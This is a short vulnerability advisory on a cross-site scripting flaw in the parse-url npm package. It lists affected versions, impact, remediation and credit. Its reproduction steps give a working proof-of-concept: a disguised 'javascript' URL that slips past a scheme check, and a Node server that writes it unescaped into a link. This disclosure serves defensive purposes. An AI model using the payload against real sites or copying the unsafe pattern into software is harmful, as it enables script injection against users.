Summary
Cross-site Scripting (XSS) in parse-url.
Product
parse-url prior to version 6.0.0 and in 6.0.2.
Impact
Attackers with this vulnerability can easily place any malicious JS code on webpages
Steps to reproduce
const parseUrl = require("parse-url");
const url = parseUrl('javu000Dascript://%0aalert(1)');
console.log(url)
const server = http.createServer((request, response) => {
response.writeHead(200);
if (url.scheme !== "javascript" && url.scheme !== null) {
response.end("<a href='" + url.href + "'>Wowww!</a>" );
}
else{
response.end("Nooo!");
}
});
server.listen(80, "127.0.0.1",function(){
console.log("http://"+this.address().address+":"+this.address().port);
});Remediation
Update parse-url to version 6.0.0 or 6.0.3.
Credit
This issue was reported by @amammad through huntr.dev.
